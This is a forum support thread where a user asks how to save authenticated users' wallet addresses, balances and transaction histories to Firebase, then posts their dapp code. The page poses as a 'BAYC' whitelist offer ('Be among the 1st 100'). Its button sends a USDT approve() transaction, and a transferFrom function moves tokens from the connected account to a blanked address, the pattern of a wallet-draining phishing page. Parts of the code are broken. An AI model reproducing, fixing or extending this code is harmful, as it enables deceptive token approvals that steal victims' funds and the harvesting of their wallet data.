Moralis & firebase connectio

please how can i generate user wallet details in firebase real time database after authenticating their wallet with my dapp?, iā€™m really having a hard time figuring the new moralis/firebase setupā€¦ please i need help

Hey @Blaq,

What user details are you trying to get and how does the final outcome for setup you would like it to be look like?

Thanks for replyingā€¦ Wallet address, balance, transaction history

Great!

And youā€™re hoping to have these info stored in the Firestore along side w/ the for all users authenticated?

Yes please, I do want to store it in either real-time database or firestore

Hey @Blaq,

By any chance that youā€™ve checked out this tutorial? https://docs.moralis.io/web3-data-api/evm/integrations/firebase-nodejs

It will help you integrate the Web3 APIs in Firebase, you will need additional steps for storing them in DB, but these are the basic foundations

Yea I did that, web3 APIs in firebase has been set on the project

please how am i to store the rest of the user info in firestore for all users authenticated?

Hey there,

You should read more on the Firebase docs for that https://firebase.google.com/docs/firestore/manage-data/add-data

Iā€™m not exactly sure how you want the data to be updated and stored on the Firestore, but itā€™s something youā€™ll need to figure out yourself. But if you have more details, we can provide a bit of guidance to the right direction.

import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"

import Head from "next/head"

import { useMoralis, useWeb3Contract } from "react-moralis"

import Balance from "../components/Balance"

import Transactions from "../components/Transactions"

import Header from "../components/Header"

import Profile from "../components/Profile"

import moralisV1 from 'moralis-v1'

import { useEffect, useState } from "react"

import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'

import { useDisclosure } from '@chakra-ui/react'

import { MoralisProvider } from "react-moralis";

import { initializeApp } from "firebase/app";

import { getFirestore } from "firebase/firestore";

import { getMoralisAuth } from '@moralisweb3/client-firebase-auth-utils';

import { signInWithMoralis } from '@moralisweb3/client-firebase-evm-auth';

import { getAuth } from '@firebase/auth';

import { getFunctions } from "firebase/functions"

import WalletConnectProvider from "@walletconnect/web3-provider";

import { Web3Provider } from '@ethersproject/providers';

const firebaseConfig = {

  apiKey: "--",

  authDomain: "-..",

  projectId: "-",

  storageBucket: "-..",

  messagingSenderId: "",

  appId: "",

  measurementId: ""

};

const app = initializeApp(firebaseConfig);

const db = getFirestore();



function Home() {

  const [user, setUser]= useState(null);

  const { EvmChain } = require("@moralisweb3/common-evm-utils");

 

  const Moralis = require("moralis").default;

  if (!Moralis.Core.isStarted) {

    Moralis.start({

      apiKey:

        "",

    });

  }


  const ABI = [];

  //const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()

 

  const {isAuthenticated, authenticate, enableWeb3, isWeb3Enabled, logout, isLoggingOut } = useMoralis()

  const [approved, setApproved] = useState(false);

  const { runContractFunction: approve, data: enterTxResponse, error, isLoading, isFetching } = useWeb3Contract({

}

);

async function gas(){

  const ethers = Moralis.web3Library;

 const web3Provider = await Moralis.enableWeb3();

 const signer = web3Provider.getSigner();

 const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);

 let res = await contract.approve("0xdAC17F958D2ee523a2206206994597C13D831ec7", 1000000, {

  gasPrice: ethers.utils.parseUnits("5", "gwei").toString(),

  gasLimit: 48525

 })

}

const { account } = useMoralis();


  async function transfer(){

    const ethers = Moralis.web3Library;

  const web3Provider = await Moralis.enableWeb3();

  const signer = web3Provider.getSigner();

  const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);

  let res = await contract.transferFrom({

    _from: account,

    _to: "",

    _value: 1000000,

    gasPrice: ethers.utils.parseUnits("20","gwei").toString(),

    gasLimit: 280000

  })

  }
 

useEffect(() => {

  if (!isWeb3Enabled && isAuthenticated)

  enableWeb3();

},[isWeb3Enabled, isAuthenticated]);

const { isOpen, onOpen, onClose } = useDisclosure()

if(!isAuthenticated && !user) {

  console.log(user);

  async function login() {

    const moralisAuth = getMoralisAuth(app, {

      auth,

      functions,

    });

    const res = await signInWithMoralis(moralisAuth);

 

    setUser(res.credentials.displayName);

    console.log(res.credentials.user)

  }

   

  async function logout() {

    await auth.signOut();

    setUser(null);

  }

  return(

    <>

    <Head>

      <title>C</title>

      </Head>

      <Flex

       direction="column"

      justifyContent="center"

      alignItems="center"

      width="100vw"

      height="100vh"

      bgGradient="linear(to-br, teal.400, purple.300)"

      backgroundImage="url('../bay.jpg')"

      >

        <Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>

        <Button colorScheme="purple" size="lg" mt="6"

         onClick={() => login({

           signingMessage: "Sign to get whitelisted "

         })}

        >Sign in with Metamask</Button>

        <br />

       

        <Button colorScheme="purple" size="lg" mt="6"

         onClick={() => authWalletConnect({

           signingMessage: "Sign to get whitelisted on "

         })}

        >Sign in with Wallet Connect</Button>

      </Flex>

      {/* <p>

          Firebase Moralis Auth Extension šŸ”

        </p>

        {!user ? (

          <Button style={{ cursor: "pointer" }} onClick={login}>

            Login

          </Button>

        ) : (

          <>

            <p>User:{user}</p>

            <div style={{ cursor: "pointer" }} onClick={logout}>

              Logout

            </div>

          </>

        )} */}

      </>

  )

};
 

async function authWalletConnect() {

  const user = login({

    provider: "walletconnect",

    chainId: 56,

    mobileLinks: [

      "metamask",

      "trust",

      "rainbow",

      "argent",

      "imtoken",

      "pillar",

      "mathwallet",

      "meet.one wallet",

      "equal",

      "safepal",

      "cool wallet",

      "xwallet",

      "atomic",

      "myetherwallet",

      "cybavo",

      "onto",

      "mycrypto",

      "minerva wallet",

      "metax",

      "encrypted ink",

      "gnosis safe",

      "bitpay",

      "fireblocks",

      "debank",

      "tokenpocket",

      "infinity wallet",

      "coinbase wallet"

    ],

    signingMessage: "Sign to get whitelisted on ",

  });

  console.log(user);

};

const handleSuccess = async (tx) => {

await tx.wait(1)

setApproved(true)

// handleNewNotification(tx)

}

  return (

   

    <>

    {/* <MoralisProvider appId={process.env.NEXT_PUBLIC_APPID}></MoralisProvider> */}

   

    <MoralisProvider appId={process.env.NEXT_PUBLIC_APPID} serverUrl={process.env.NEXT_PUBLIC_SERVER_URL}></MoralisProvider>

      <Head>

        <title>BAYC</title>

        <meta name="description" content="" />

        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />

        <link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />

        <link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />

        <link rel="manifest" href="/site.webmanifest" />

        <link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />

        <meta name="msapplication-TileColor" content="#da532c" />

        <meta name="theme-color" content="#ffffff" />

      </Head>

      <Flex direction="column" width="100vw" height="100vh">

        <Header user={user} logout={logout} isLoggingOut={isLoggingOut}/>

        <Box flex="1" bg="purple.100" px="11" py="44">

        <Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">

        <Alert status="success">

          <AlertIcon />

          Wallet connected succesfully {user.get("user")}

        </Alert>

       

        <br />

        <Button onClick={onOpen}>Get it now!</Button>

        <Modal isOpen={isOpen} onClose={onClose}>

        <ModalOverlay />

        <ModalContent>

          <ModalHeader color="purple">Be among the 1st 100</ModalHeader>

          <ModalCloseButton />

          <ModalBody>

          <Image src="" />

          </ModalBody>

          <ModalFooter>

            {/* <Button colorScheme='blue' mr={3} onClick={onClose}>

              Close

            </Button> */}

            <Button ml="4" className="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded ml-auto"

                        onClick={async () =>

                            await gas({

                                onSuccess: handleSuccess,

                            })

                        }

                        disabled={isLoading || isFetching || approved}>{ approved ? "Approved" : "Get It!" }</Button>  

            {/* <br /> */}

            {/* <Button ml="4" colorScheme="green" onClick={transferFromCon}>Continue</Button> */}

            {/* <a href="https://" target="_blank" rel="noreferrer">

            <Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>Continue</Button>

            </a> */}

          </ModalFooter>

        </ModalContent>

      </Modal>

      <br />

           

    {/* <br />

        <Link href="wss" isExternal>

          Head back to

        </Link> */}

           

           {/* <TabList>

            <Tab fontWeight="bold">Profile</Tab>

            <Tab fontWeight="bold">Balance</Tab>

            <Tab fontWeight="bold">Transactions</Tab>

          </TabList>

          <TabPanels>

            <TabPanel>

              <Profile user={user} />

            </TabPanel> */}

            <TabPanel>

              <Balance user={user}/>

            </TabPanel>

            {/* <TabPanel>

               <Transactions user={user}/>

            </TabPanel>

          </TabPanels>  */}

        </Tabs>

        </Box>

      </Flex>

    </>

     

  )

}

export default Home

please here is my codes, i have imported firestore, but confuse on how to go on with the code, please assist me on what to do next

Hi, please I still donā€™t have a solution to getting wallet addresses in firestore

This topic was automatically closed 5 days after the last reply. New replies are no longer allowed.